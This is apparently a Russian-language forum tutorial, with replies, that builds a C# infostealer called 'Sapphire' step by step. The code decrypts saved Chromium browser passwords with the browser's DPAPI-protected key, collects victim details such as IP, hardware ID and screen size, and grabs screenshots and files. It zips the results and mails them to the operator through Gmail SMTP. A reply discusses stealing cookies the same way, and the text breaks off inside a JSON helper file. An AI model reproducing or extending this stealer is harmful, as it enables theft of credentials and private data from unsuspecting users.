using System; using System.Linq; using System.IO; using System.Security.Cryptography; using System.Collections.Generic; using Sapphire.Modules.Helpers; using Sapphire.Modules.Steal.Helpers; namespace Sapphire.Modules.Passwords.Chromium { class Chromium { public static void Get() { var loginData = new List<Format.LoginData>(); foreach (var p in Paths.ChromiumPaths) loginData.AddRange(Passwords(p.Value, p.Key)); if (loginData.Count > 0) { string path = FileManager.CreateDirectory("work"); if (string.IsNullOrEmpty(path)) throw new Exception("[ERROR] can't create work directory"); File.Create(path + "Passwords.txt").Close(); foreach (var data in loginData.ToArray()) File.AppendAllText(path + "Passwords.txt", $"URL: {data.url}\nLogin: {data.login}\nPassword: {data.password}\nApplication: {data.browser}\n--------------------------------\n"); } } public static List<Format.LoginData> Passwords(string path, string browser) { List<string> ldFiles = Paths.GetUserData(path); // Получаем все профили List<Format.LoginData> data = new List<Format.LoginData>(); foreach (string ld in ldFiles.ToArray()) { if (!File.Exists(ld)) { continue; } SQLite sql; try { sql = new SQLite(ld); // Открываем дб Login Data } catch (Exception e) { Console.WriteLine($"[ERROR_CANT_OPEN_DB]{e.Message}"); return null; } sql.ReadTable("logins"); // Читаем таблицу logins for (int i = 0; i < sql.GetRowCount(); i++) { try { string url = sql.GetValue(i, 0); string login = sql.GetValue(i, 3); string password = sql.GetValue(i, 5); if (!string.IsNullOrEmpty(password)) { // Проверяем версию шифрование if (password.StartsWith("v10") || password.StartsWith("v11")) { byte[] secretKey = GetKey(Directory.GetParent(ld).Parent.FullName); if (secretKey is null) // если null пропускаем continue; password = DecryptPassword(System.Text.Encoding.Default.GetBytes(password), secretKey); } else password = System.Text.Encoding.UTF8.GetString(ProtectedData.Unprotect(System.Text.Encoding.Default.GetBytes(password), null, 0)); } if (login.Trim().Length > 0 && password.Trim().Length > 0) // Проверяем на валид data.Add(new Format.LoginData() { url = url, login = login, password = password, browser = browser }); } catch (Exception e) { Console.WriteLine($"[ERROR_CANT_GET_PASSWORD]{e.Message}"); return null; } } } return data; } private static string DecryptPassword(byte[] encryptedData, byte[] secretKey) { // получаем соль, пропускаем префикс v10 byte[] iv = encryptedData.Skip(3).Take(12).ToArray(); try { byte[] Buffer = encryptedData.Skip(15).Take(encryptedData.Length - 15).ToArray(); byte[] tag = Buffer.Skip(Buffer.Length - 16).Take(16).ToArray(); byte[] data = Buffer.Skip(0).Take(Buffer.Length - tag.Length).ToArray(); AesGCM aes = new AesGCM(); var result = System.Text.Encoding.UTF8.GetString(aes.Decrypt(secretKey, iv, null, data, tag)); return result; } catch(Exception e) { Console.WriteLine($"[ERROR_DECRYPT_METHOD]{e.Message}\n{e.StackTrace}"); return null; } } private static byte[] GetKey(string browserPath) { string filePath = browserPath + "\\Local State"; if (!File.Exists(filePath)) { return null; } // Читаем данные из файла Local State(там хранится секретный ключ) string key = File.ReadAllText(filePath); // Получаем ключ key = SimpleJSON.JSON.Parse(key)["os_crypt"]["encrypted_key"]; try { byte[] keyBytes = System.Text.Encoding.Default.GetBytes(System.Text.Encoding.Default.GetString(Convert.FromBase64String(key)).Remove(0, 5)); // Конвертируем из base64 в string после удаляем префикс DPAPI и получаем байты byte[] secretKey = ProtectedData.Unprotect(keyBytes, null, 0); return secretKey; } catch(Exception e) { Console.WriteLine($"[ERROR_GETSECRETKEY_METHOD]{e.Message}"); return null; } } } } SQLite.cs using System; using System.IO; using System.Text; namespace Sapphire.Modules.Steal.Helpers { internal class SQLite { private readonly byte[] _sqlDataTypeSize = new byte[10] { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 }; private readonly ulong _dbEncoding; private readonly byte[] _fileBytes; private readonly ulong _pageSize; private string[] _fieldNames; private SqliteMasterEntry[] _masterTableEntries; private TableEntry[] _tableEntries; public SQLite(string fileName) { _fileBytes = File.ReadAllBytes(fileName); _pageSize = ConvertToULong(16, 2); _dbEncoding = ConvertToULong(56, 4); ReadMasterTable(100L); } public string GetValue(int rowNum, int field) { try { if (rowNum >= _tableEntries.Length) return (string)null; return field >= _tableEntries[rowNum].Content.Length ? null : _tableEntries[rowNum].Content[field]; } catch { return ""; } } public int GetRowCount() { return _tableEntries.Length; } private bool ReadTableFromOffset(ulong offset) { try { if (_fileBytes[offset] == 13) { uint num1 = (uint)(ConvertToULong((int)offset + 3, 2) - 1UL); int num2 = 0; if (_tableEntries != null) { num2 = _tableEntries.Length; Array.Resize(ref _tableEntries, _tableEntries.Length + (int)num1 + 1); } else _tableEntries = new TableEntry[(int)num1 + 1]; for (uint index1 = 0; (int)index1 <= (int)num1; ++index1) { ulong num3 = ConvertToULong((int)offset + 8 + (int)index1 * 2, 2); if ((long)offset != 100L) num3 += offset; int endIdx1 = Gvl((int)num3); Cvl((int)num3, endIdx1); int endIdx2 = Gvl((int)((long)num3 + (endIdx1 - (long)num3) + 1L)); Cvl((int)((long)num3 + (endIdx1 - (long)num3) + 1L), endIdx2); ulong num4 = num3 + (ulong)(endIdx2 - (long)num3 + 1L); int endIdx3 = Gvl((int)num4); int endIdx4 = endIdx3; long num5 = Cvl((int)num4, endIdx3); RecordHeaderField[] array = null; long num6 = (long)num4 - endIdx3 + 1L; int index2 = 0; while (num6 < num5) { Array.Resize(ref array, index2 + 1); int startIdx = endIdx4 + 1; endIdx4 = Gvl(startIdx); array[index2].Type = Cvl(startIdx, endIdx4); array[index2].Size = array[index2].Type <= 9L ? _sqlDataTypeSize[array[index2].Type] : (!IsOdd(array[index2].Type) ? (array[index2].Type - 12L) / 2L : (array[index2].Type - 13L) / 2L); num6 = num6 + (endIdx4 - startIdx) + 1L; ++index2; } if (array != null) { _tableEntries[num2 + (int)index1].Content = new string[array.Length]; int num7 = 0; for (int index3 = 0; index3 <= array.Length - 1; ++index3) { if (array[index3].Type > 9L) { if (!IsOdd(array[index3].Type)) { if ((long)_dbEncoding == 1L) _tableEntries[num2 + (int)index1].Content[index3] = Encoding.Default.GetString(_fileBytes, (int)((long)num4 + num5 + num7), (int)array[index3].Size); else if ((long)_dbEncoding == 2L) { _tableEntries[num2 + (int)index1].Content[index3] = Encoding.Unicode.GetString(_fileBytes, (int)((long)num4 + num5 + num7), (int)array[index3].Size); } else if ((long)_dbEncoding == 3L) _tableEntries[num2 + (int)index1].Content[index3] = Encoding.BigEndianUnicode.GetString(_fileBytes, (int)((long)num4 + num5 + num7), (int)array[index3].Size); } else _tableEntries[num2 + (int)index1].Content[index3] = Encoding.Default.GetString(_fileBytes, (int)((long)num4 + num5 + num7), (int)array[index3].Size); } else _tableEntries[num2 + (int)index1].Content[index3] = Convert.ToString(ConvertToULong((int)((long)num4 + num5 + num7), (int)array[index3].Size)); num7 += (int)array[index3].Size; } } } } else if (_fileBytes[offset] == 5) { uint num1 = (uint)(ConvertToULong((int)((long)offset + 3L), 2) - 1UL); for (uint index = 0; (int)index <= (int)num1; ++index) { uint num2 = (uint)ConvertToULong((int)offset + 12 + (int)index * 2, 2); ReadTableFromOffset((ConvertToULong((int)((long)offset + num2), 4) - 1UL) * _pageSize); } ReadTableFromOffset((ConvertToULong((int)((long)offset + 8L), 4) - 1UL) * _pageSize); } return true; } catch { return false; } } private void ReadMasterTable(long offset) { try { switch (_fileBytes[offset]) { case 5: uint num1 = (uint)(ConvertToULong((int)offset + 3, 2) - 1UL); for (int index = 0; index <= (int)num1; ++index) { uint num2 = (uint)ConvertToULong((int)offset + 12 + index * 2, 2); if (offset == 100L) ReadMasterTable(((long)ConvertToULong((int)num2, 4) - 1L) * (long)_pageSize); else ReadMasterTable(((long)ConvertToULong((int)(offset + num2), 4) - 1L) * (long)_pageSize); } ReadMasterTable(((long)ConvertToULong((int)offset + 8, 4) - 1L) * (long)_pageSize); break; case 13: ulong num3 = ConvertToULong((int)offset + 3, 2) - 1UL; int num4 = 0; if (_masterTableEntries != null) { num4 = _masterTableEntries.Length; Array.Resize(ref _masterTableEntries, _masterTableEntries.Length + (int)num3 + 1); } else _masterTableEntries = new SqliteMasterEntry[checked((ulong)unchecked((long)num3 + 1L))]; for (ulong index1 = 0; index1 <= num3; ++index1) { ulong num2 = ConvertToULong((int)offset + 8 + (int)index1 * 2, 2); if (offset != 100L) num2 += (ulong)offset; int endIdx1 = Gvl((int)num2); Cvl((int)num2, endIdx1); int endIdx2 = Gvl((int)((long)num2 + (endIdx1 - (long)num2) + 1L)); Cvl((int)((long)num2 + (endIdx1 - (long)num2) + 1L), endIdx2); ulong num5 = num2 + (ulong)(endIdx2 - (long)num2 + 1L); int endIdx3 = Gvl((int)num5); int endIdx4 = endIdx3; long num6 = Cvl((int)num5, endIdx3); long[] numArray = new long[5]; for (int index2 = 0; index2 <= 4; ++index2) { int startIdx = endIdx4 + 1; endIdx4 = Gvl(startIdx); numArray[index2] = Cvl(startIdx, endIdx4); numArray[index2] = numArray[index2] <= 9L ? _sqlDataTypeSize[numArray[index2]] : (!IsOdd(numArray[index2]) ? (numArray[index2] - 12L) / 2L : (numArray[index2] - 13L) / 2L); } if ((long)_dbEncoding == 1L || (long)_dbEncoding == 2L) if ((long)_dbEncoding == 1L) _masterTableEntries[num4 + (int)index1].ItemName = Encoding.Default.GetString(_fileBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]); else if ((long)_dbEncoding == 2L) _masterTableEntries[num4 + (int)index1].ItemName = Encoding.Unicode.GetString(_fileBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]); else if ((long)_dbEncoding == 3L) _masterTableEntries[num4 + (int)index1].ItemName = Encoding.BigEndianUnicode.GetString(_fileBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]); _masterTableEntries[num4 + (int)index1].RootNum = (long)ConvertToULong((int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2]), (int)numArray[3]); if ((long)_dbEncoding == 1L) _masterTableEntries[num4 + (int)index1].SqlStatement = Encoding.Default.GetString(_fileBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]); else if ((long)_dbEncoding == 2L) _masterTableEntries[num4 + (int)index1].SqlStatement = Encoding.Unicode.GetString(_fileBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]); else if ((long)_dbEncoding == 3L) _masterTableEntries[num4 + (int)index1].SqlStatement = Encoding.BigEndianUnicode.GetString(_fileBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]); } break; } } catch { } } public bool ReadTable(string tableName) { try { int index1 = -1; for (int index2 = 0; index2 <= _masterTableEntries.Length; ++index2) { if (string.Compare(_masterTableEntries[index2].ItemName.ToLower(), tableName.ToLower(), StringComparison.Ordinal) == 0) { index1 = index2; break; } } if (index1 == -1) return false; string[] strArray = _masterTableEntries[index1].SqlStatement.Substring(_masterTableEntries[index1].SqlStatement.IndexOf("(", StringComparison.Ordinal) + 1).Split(','); for (int index2 = 0; index2 <= strArray.Length - 1; ++index2) { strArray[index2] = strArray[index2].TrimStart(); int length = strArray[index2].IndexOf(' '); if (length > 0) strArray[index2] = strArray[index2].Substring(0, length); if (strArray[index2].IndexOf("UNIQUE", StringComparison.Ordinal) != 0) { Array.Resize(ref _fieldNames, index2 + 1); _fieldNames[index2] = strArray[index2]; } } return ReadTableFromOffset((ulong)(_masterTableEntries[index1].RootNum - 1L) * _pageSize); } catch { return false; } } private ulong ConvertToULong(int startIndex, int size) { try { if (size > 8 | size == 0) return 0; ulong num = 0; for (int index = 0; index <= size - 1; ++index) num = num << 8 | (ulong)_fileBytes[startIndex + index]; return num; } catch { return 0; } } private int Gvl(int startIdx) { try { if (startIdx > _fileBytes.Length) return 0; for (int index = startIdx; index <= startIdx + 8; ++index) { if (index > _fileBytes.Length - 1) return 0; if (((int)_fileBytes[index] & 128) != 128) return index; } return startIdx + 8; } catch { return 0; } } private long Cvl(int startIdx, int endIdx) { try { ++endIdx; byte[] numArray = new byte[8]; int num1 = endIdx - startIdx; bool flag = false; if (num1 == 0 | num1 > 9) return 0; if (num1 == 1) { numArray[0] = (byte)(_fileBytes[startIdx] & (uint)sbyte.MaxValue); return BitConverter.ToInt64(numArray, 0); } if (num1 == 9) flag = true; int num2 = 1; int num3 = 7; int index1 = 0; if (flag) { numArray[0] = _fileBytes[endIdx - 1]; --endIdx; index1 = 1; } int index2 = endIdx - 1; while (index2 >= startIdx) { if (index2 - 1 >= startIdx) { numArray[index1] = (byte)(_fileBytes[index2] >> num2 - 1 & byte.MaxValue >> num2 | _fileBytes[index2 - 1] << num3); ++num2; ++index1; --num3; } else if (!flag) numArray[index1] = (byte)(_fileBytes[index2] >> num2 - 1 & byte.MaxValue >> num2); index2 += -1; } return BitConverter.ToInt64(numArray, 0); } catch { return 0; } } private static bool IsOdd(long value) { return (value & 1L) == 1L; } private struct RecordHeaderField { public long Size; public long Type; } private struct TableEntry { public string[] Content; } private struct SqliteMasterEntry { public string ItemName; public long RootNum; public string SqlStatement; } } } C# using System; using System.IO; using System.Text; namespace Sapphire.Modules.Steal.Helpers { internal class SQLite { private readonly byte[] _sqlDataTypeSize = new byte[10] { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 }; private readonly ulong _dbEncoding; private readonly byte[] _fileBytes; private readonly ulong _pageSize; private string[] _fieldNames; private SqliteMasterEntry[] _masterTableEntries; private TableEntry[] _tableEntries; public SQLite(string fileName) { _fileBytes = File.ReadAllBytes(fileName); _pageSize = ConvertToULong(16, 2); _dbEncoding = ConvertToULong(56, 4); ReadMasterTable(100L); } public string GetValue(int rowNum, int field) { try { if (rowNum >= _tableEntries.Length) return (string)null; return field >= _tableEntries[rowNum].Content.Length ? null : _tableEntries[rowNum].Content[field]; } catch { return ""; } } public int GetRowCount() { return _tableEntries.Length; } private bool ReadTableFromOffset(ulong offset) { try { if (_fileBytes[offset] == 13) { uint num1 = (uint)(ConvertToULong((int)offset + 3, 2) - 1UL); int num2 = 0; if (_tableEntries != null) { num2 = _tableEntries.Length; Array.Resize(ref _tableEntries, _tableEntries.Length + (int)num1 + 1); } else _tableEntries = new TableEntry[(int)num1 + 1]; for (uint index1 = 0; (int)index1 <= (int)num1; ++index1) { ulong num3 = ConvertToULong((int)offset + 8 + (int)index1 * 2, 2); if ((long)offset != 100L) num3 += offset; int endIdx1 = Gvl((int)num3); Cvl((int)num3, endIdx1); int endIdx2 = Gvl((int)((long)num3 + (endIdx1 - (long)num3) + 1L)); Cvl((int)((long)num3 + (endIdx1 - (long)num3) + 1L), endIdx2); ulong num4 = num3 + (ulong)(endIdx2 - (long)num3 + 1L); int endIdx3 = Gvl((int)num4); int endIdx4 = endIdx3; long num5 = Cvl((int)num4, endIdx3); RecordHeaderField[] array = null; long num6 = (long)num4 - endIdx3 + 1L; int index2 = 0; while (num6 < num5) { Array.Resize(ref array, index2 + 1); int startIdx = endIdx4 + 1; endIdx4 = Gvl(startIdx); array[index2].Type = Cvl(startIdx, endIdx4); array[index2].Size = array[index2].Type <= 9L ? _sqlDataTypeSize[array[index2].Type] : (!IsOdd(array[index2].Type) ? (array[index2].Type - 12L) / 2L : (array[index2].Type - 13L) / 2L); num6 = num6 + (endIdx4 - startIdx) + 1L; ++index2; } if (array != null) { _tableEntries[num2 + (int)index1].Content = new string[array.Length]; int num7 = 0; for (int index3 = 0; index3 <= array.Length - 1; ++index3) { if (array[index3].Type > 9L) { if (!IsOdd(array[index3].Type)) { if ((long)_dbEncoding == 1L) _tableEntries[num2 + (int)index1].Content[index3] = Encoding.Default.GetString(_fileBytes, (int)((long)num4 + num5 + num7), (int)array[index3].Size); else if ((long)_dbEncoding == 2L) { _tableEntries[num2 + (int)index1].Content[index3] = Encoding.Unicode.GetString(_fileBytes, (int)((long)num4 + num5 + num7), (int)array[index3].Size); } else if ((long)_dbEncoding == 3L) _tableEntries[num2 + (int)index1].Content[index3] = Encoding.BigEndianUnicode.GetString(_fileBytes, (int)((long)num4 + num5 + num7), (int)array[index3].Size); } else _tableEntries[num2 + (int)index1].Content[index3] = Encoding.Default.GetString(_fileBytes, (int)((long)num4 + num5 + num7), (int)array[index3].Size); } else _tableEntries[num2 + (int)index1].Content[index3] = Convert.ToString(ConvertToULong((int)((long)num4 + num5 + num7), (int)array[index3].Size)); num7 += (int)array[index3].Size; } } } } else if (_fileBytes[offset] == 5) { uint num1 = (uint)(ConvertToULong((int)((long)offset + 3L), 2) - 1UL); for (uint index = 0; (int)index <= (int)num1; ++index) { uint num2 = (uint)ConvertToULong((int)offset + 12 + (int)index * 2, 2); ReadTableFromOffset((ConvertToULong((int)((long)offset + num2), 4) - 1UL) * _pageSize); } ReadTableFromOffset((ConvertToULong((int)((long)offset + 8L), 4) - 1UL) * _pageSize); } return true; } catch { return false; } } private void ReadMasterTable(long offset) { try { switch (_fileBytes[offset]) { case 5: uint num1 = (uint)(ConvertToULong((int)offset + 3, 2) - 1UL); for (int index = 0; index <= (int)num1; ++index) { uint num2 = (uint)ConvertToULong((int)offset + 12 + index * 2, 2); if (offset == 100L) ReadMasterTable(((long)ConvertToULong((int)num2, 4) - 1L) * (long)_pageSize); else ReadMasterTable(((long)ConvertToULong((int)(offset + num2), 4) - 1L) * (long)_pageSize); } ReadMasterTable(((long)ConvertToULong((int)offset + 8, 4) - 1L) * (long)_pageSize); break; case 13: ulong num3 = ConvertToULong((int)offset + 3, 2) - 1UL; int num4 = 0; if (_masterTableEntries != null) { num4 = _masterTableEntries.Length; Array.Resize(ref _masterTableEntries, _masterTableEntries.Length + (int)num3 + 1); } else _masterTableEntries = new SqliteMasterEntry[checked((ulong)unchecked((long)num3 + 1L))]; for (ulong index1 = 0; index1 <= num3; ++index1) { ulong num2 = ConvertToULong((int)offset + 8 + (int)index1 * 2, 2); if (offset != 100L) num2 += (ulong)offset; int endIdx1 = Gvl((int)num2); Cvl((int)num2, endIdx1); int endIdx2 = Gvl((int)((long)num2 + (endIdx1 - (long)num2) + 1L)); Cvl((int)((long)num2 + (endIdx1 - (long)num2) + 1L), endIdx2); ulong num5 = num2 + (ulong)(endIdx2 - (long)num2 + 1L); int endIdx3 = Gvl((int)num5); int endIdx4 = endIdx3; long num6 = Cvl((int)num5, endIdx3); long[] numArray = new long[5]; for (int index2 = 0; index2 <= 4; ++index2) { int startIdx = endIdx4 + 1; endIdx4 = Gvl(startIdx); numArray[index2] = Cvl(startIdx, endIdx4); numArray[index2] = numArray[index2] <= 9L ? _sqlDataTypeSize[numArray[index2]] : (!IsOdd(numArray[index2]) ? (numArray[index2] - 12L) / 2L : (numArray[index2] - 13L) / 2L); } if ((long)_dbEncoding == 1L || (long)_dbEncoding == 2L) if ((long)_dbEncoding == 1L) _masterTableEntries[num4 + (int)index1].ItemName = Encoding.Default.GetString(_fileBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]); else if ((long)_dbEncoding == 2L) _masterTableEntries[num4 + (int)index1].ItemName = Encoding.Unicode.GetString(_fileBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]); else if ((long)_dbEncoding == 3L) _masterTableEntries[num4 + (int)index1].ItemName = Encoding.BigEndianUnicode.GetString(_fileBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]); _masterTableEntries[num4 + (int)index1].RootNum = (long)ConvertToULong((int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2]), (int)numArray[3]); if ((long)_dbEncoding == 1L) _masterTableEntries[num4 + (int)index1].SqlStatement = Encoding.Default.GetString(_fileBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]); else if ((long)_dbEncoding == 2L) _masterTableEntries[num4 + (int)index1].SqlStatement = Encoding.Unicode.GetString(_fileBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]); else if ((long)_dbEncoding == 3L) _masterTableEntries[num4 + (int)index1].SqlStatement = Encoding.BigEndianUnicode.GetString(_fileBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]); } break; } } catch { } } public bool ReadTable(string tableName) { try { int index1 = -1; for (int index2 = 0; index2 <= _masterTableEntries.Length; ++index2) { if (string.Compare(_masterTableEntries[index2].ItemName.ToLower(), tableName.ToLower(), StringComparison.Ordinal) == 0) { index1 = index2; break; } } if (index1 == -1) return false; string[] strArray = _masterTableEntries[index1].SqlStatement.Substring(_masterTableEntries[index1].SqlStatement.IndexOf("(", StringComparison.Ordinal) + 1).Split(','); for (int index2 = 0; index2 <= strArray.Length - 1; ++index2) { strArray[index2] = strArray[index2].TrimStart(); int length = strArray[index2].IndexOf(' '); if (length > 0) strArray[index2] = strArray[index2].Substring(0, length); if (strArray[index2].IndexOf("UNIQUE", StringComparison.Ordinal) != 0) { Array.Resize(ref _fieldNames, index2 + 1); _fieldNames[index2] = strArray[index2]; } } return ReadTableFromOffset((ulong)(_masterTableEntries[index1].RootNum - 1L) * _pageSize); } catch { return false; } } private ulong ConvertToULong(int startIndex, int size) { try { if (size > 8 | size == 0) return 0; ulong num = 0; for (int index = 0; index <= size - 1; ++index) num = num << 8 | (ulong)_fileBytes[startIndex + index]; return num; } catch { return 0; } } private int Gvl(int startIdx) { try { if (startIdx > _fileBytes.Length) return 0; for (int index = startIdx; index <= startIdx + 8; ++index) { if (index > _fileBytes.Length - 1) return 0; if (((int)_fileBytes[index] & 128) != 128) return index; } return startIdx + 8; } catch { return 0; } } private long Cvl(int startIdx, int endIdx) { try { ++endIdx; byte[] numArray = new byte[8]; int num1 = endIdx - startIdx; bool flag = false; if (num1 == 0 | num1 > 9) return 0; if (num1 == 1) { numArray[0] = (byte)(_fileBytes[startIdx] & (uint)sbyte.MaxValue); return BitConverter.ToInt64(numArray, 0); } if (num1 == 9) flag = true; int num2 = 1; int num3 = 7; int index1 = 0; if (flag) { numArray[0] = _fileBytes[endIdx - 1]; --endIdx; index1 = 1; } int index2 = endIdx - 1; while (index2 >= startIdx) { if (index2 - 1 >= startIdx) { numArray[index1] = (byte)(_fileBytes[index2] >> num2 - 1 & byte.MaxValue >> num2 | _fileBytes[index2 - 1] << num3); ++num2; ++index1; --num3; } else if (!flag) numArray[index1] = (byte)(_fileBytes[index2] >> num2 - 1 & byte.MaxValue >> num2); index2 += -1; } return BitConverter.ToInt64(numArray, 0); } catch { return 0; } } private static bool IsOdd(long value) { return (value & 1L) == 1L; } private struct RecordHeaderField { public long Size; public long Type; } private struct TableEntry { public string[] Content; } private struct SqliteMasterEntry { public string ItemName; public long RootNum; public string SqlStatement; } } } Создаем класс UserInformation.cs где будем хранить все информации. UserInformation.cs using System; using System.Net; namespace Sapphire.Modules.Information { class UserInformation { public static string username = Environment.UserName; public static string pcname = Environment.MachineName; private static IPAddress iip = Dns.GetHostEntry(Dns.GetHostName()).AddressList[0]; } } C# using System; using System.Net; namespace Sapphire.Modules.Information { class UserInformation { public static string username = Environment.UserName; public static string pcname = Environment.MachineName; private static IPAddress iip = Dns.GetHostEntry(Dns.GetHostName()).AddressList[0]; } } Так как теперь мы информацию о жертве храним в классе UserInformation.cs нужно внести поправки в классе SendLog.cs SendLog.cs using System; using System.IO; using System.Net; using System.Net.Mail; using Sapphire.Modules.Information; namespace Sapphire { class SendLog { private static string text = $"<h2>------NEW ****------</h2>" + $"<h3>{System.DateTime.Now}</h3> <br> <b>" + $"IP: {UserInformation.ip} <br> <br>" + $"Username: {UserInformation.pcname} <br> <br>" public static void Send() { string path = Path.GetTempPath() + "log.zip"; if (File.Exists(path)) { MailAddress from = new MailAddress("***", "sapphire"); // Ваш эмеил MailAddress to = new MailAddress("***"); // эмеил для получение *****, можете написать тот же эмеил которая отправляет MailMessage msg = new MailMessage(from, to); msg.Subject = "****"; msg.Body = text; msg.IsBodyHtml = true; msg.Attachments.Add(new Attachment(path)); SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587); smtp.Credentials = new NetworkCredential("***", "***"); // эмеил и пароль от почты через которую отправляете smtp.EnableSsl = true; smtp.Send(msg); } else { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("[ERROR] does not exist archive"); Console.ResetColor(); } } } } C# using System; using System.IO; using System.Net; using System.Net.Mail; using Sapphire.Modules.Information; namespace Sapphire { class SendLog { private static string text = $"<h2>------NEW ****------</h2>" + $"<h3>{System.DateTime.Now}</h3> <br> <b>" + $"IP: {UserInformation.ip} <br> <br>" + $"Username: {UserInformation.pcname} <br> <br>" public static void Send() { string path = Path.GetTempPath() + "log.zip"; if (File.Exists(path)) { MailAddress from = new MailAddress("***", "sapphire"); // Ваш эмеил MailAddress to = new MailAddress("***"); // эмеил для получение *****, можете написать тот же эмеил которая отправляет MailMessage msg = new MailMessage(from, to); msg.Subject = "****"; msg.Body = text; msg.IsBodyHtml = true; msg.Attachments.Add(new Attachment(path)); SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587); smtp.Credentials = new NetworkCredential("***", "***"); // эмеил и пароль от почты через которую отправляете smtp.EnableSsl = true; smtp.Send(msg); } else { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("[ERROR] does not exist archive"); Console.ResetColor(); } } } } Готово, теперь мы можем удалить все библиотеки из NuGet, кроме DotNetZip. Давайте же проверим наше произведение искусство на работоспособность, для этого нам нужно в классе Program.cs все собрать. Program.cs using System; using System.Collections.Generic; using Sapphire.Modules.Passwords.Chromium; using Sapphire.Modules.Information; using Sapphire.Modules.Grabbers; using Sapphire.Modules.Helpers; namespace Sapphire { class Program { static void Main(string[] args) { Chromium.Get(); Screenshot.Make(); Files.Grab(); FileManager.ArchiveDirectory(); SendLog.Send(); FileManager.DeleteDirectory("all"); } } } C# using System; using System.Collections.Generic; using Sapphire.Modules.Passwords.Chromium; using Sapphire.Modules.Information; using Sapphire.Modules.Grabbers; using Sapphire.Modules.Helpers; namespace Sapphire { class Program { static void Main(string[] args) { Chromium.Get(); Screenshot.Make(); Files.Grab(); FileManager.ArchiveDirectory(); SendLog.Send(); FileManager.DeleteDirectory("all"); } } } Работает, но согласитесь как-то мало информации мы получаем о жертве, давайте внесем несколько поправок в классе UserInformation.cs UserInformation.cs [CODE=c#]using System; using System.Net; using System.Windows.Forms; using System.Management; namespace Sapphire.Modules.Information { class UserInformation { public static string username = Environment.UserName; public static string pcname = Environment.MachineName; private static IPAddress iip = Dns.GetHostEntry(Dns.GetHostName()).AddressList[0]; public static string ip { get { return iip.ToString(); } } public static string screen { get { int width = int.Parse(Screen.PrimaryScreen.Bounds.Width.ToString()); int height = int.Parse(Screen.PrimaryScreen.Bounds.Height.ToString()); return width + "x" + height; } } public static string OSVersion { get { string str1 = Environment.OSVersion.ToString(); string str2 = Environment.Is64BitOperatingSystem ? "x64" : "x32"; return str1 + " " + str2; } } public static string GetHWID() { try { var mng = new ManagementObjectSearcher("Select ProcessorId From Win32_processor"); ManagementObjectCollection mbsList = mng.Get(); foreach (ManagementObject mo in mbsList) return mo["ProcessorId"].ToString(); } catch { } return "Unknown"; } public static string GetGPUName() { try { ManagementObjectSearcher mng = new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_VideoController"); foreach (ManagementObject mObject in mng.Get()) return mObject["Name"].ToString(); } catch { } return "Unknown"; } } } [/CODE] Изменим текст в классе SendLog.cs Запускаем снова и получам это Уже неплохо, если будет фидбэк в следующей части добавлю пробив жертву по IP с помощью ip-api. Заключение. Объем кода увеличился и говнокода не стало меньше, крайне не советую копипастить так-как вполне вероятно что будут ошибки, телеграмм сюда залью проект. В следующей части будут реализованы все остальные функции *******а.
AstasiaDream, в следующей части, в принципе это не сложно, также открываешь с помощью sqlite файл cookie и просто вытаскиваешь поля
А где JSON.cs? --- Сообщение объединено с предыдущим 22 мар 2022 JSON.cs using System; using System.Linq; using System.Text; using System.Collections; using System.Globalization; using System.Collections.Generic; namespace SimpleJSON { public enum JSONNodeType { Array = 1, Object = 2, String = 3, Number = 4, NullValue = 5, Boolean = 6, None = 7, Custom = 0xFF, } public enum JSONTextMode { Compact, Indent } public abstract partial class JSONNode { #region Enumerators public struct Enumerator { private enum Type { None, Array, Object } private Type type; private Dictionary<string, JSONNode>.Enumerator m_Object; private List<JSONNode>.Enumerator m_Array; public bool IsValid { get { return type != Type.None; } } public Enumerator(List<JSONNode>.Enumerator aArrayEnum) { type = Type.Array; m_Object = default(Dictionary<string, JSONNode>.Enumerator); m_Array = aArrayEnum; } public Enumerator(Dictionary<string, JSONNode>.Enumerator aDictEnum) { type = Type.Object; m_Object = aDictEnum; m_Array = default(List<JSONNode>.Enumerator); } public KeyValuePair<string, JSONNode> Current { get { if (type == Type.Array) return new KeyValuePair<string, JSONNode>(string.Empty, m_Array.Current); else if (type == Type.Object) return m_Object.Current; return new KeyValuePair<string, JSONNode>(string.Empty, null); } } public bool MoveNext() { if (type == Type.Array) return m_Array.MoveNext(); else if (type == Type.Object) return m_Object.MoveNext(); return false; } } public struct ValueEnumerator { private Enumerator m_Enumerator; public ValueEnumerator(List<JSONNode>.Enumerator aArrayEnum) : this(new Enumerator(aArrayEnum)) { } public ValueEnumerator(Dictionary<string, JSONNode>.Enumerator aDictEnum) : this(new Enumerator(aDictEnum)) { } public ValueEnumerator(Enumerator aEnumerator) { m_Enumerator = aEnumerator; } public JSONNode Current { get { return m_Enumerator.Current.Value; } } public bool MoveNext() { return m_Enumerator.MoveNext(); } public ValueEnumerator GetEnumerator() { return this; } } public struct KeyEnumerator { private Enumerator m_Enumerator; public KeyEnumerator(List<JSONNode>.Enumerator aArrayEnum) : this(new Enumerator(aArrayEnum)) { } public KeyEnumerator(Dictionary<string, JSONNode>.Enumerator aDictEnum) : this(new Enumerator(aDictEnum)) { } public KeyEnumerator(Enumerator aEnumerator) { m_Enumerator = aEnumerator; } public string Current { get { return m_Enumerator.Current.Key; } } public bool MoveNext() { return 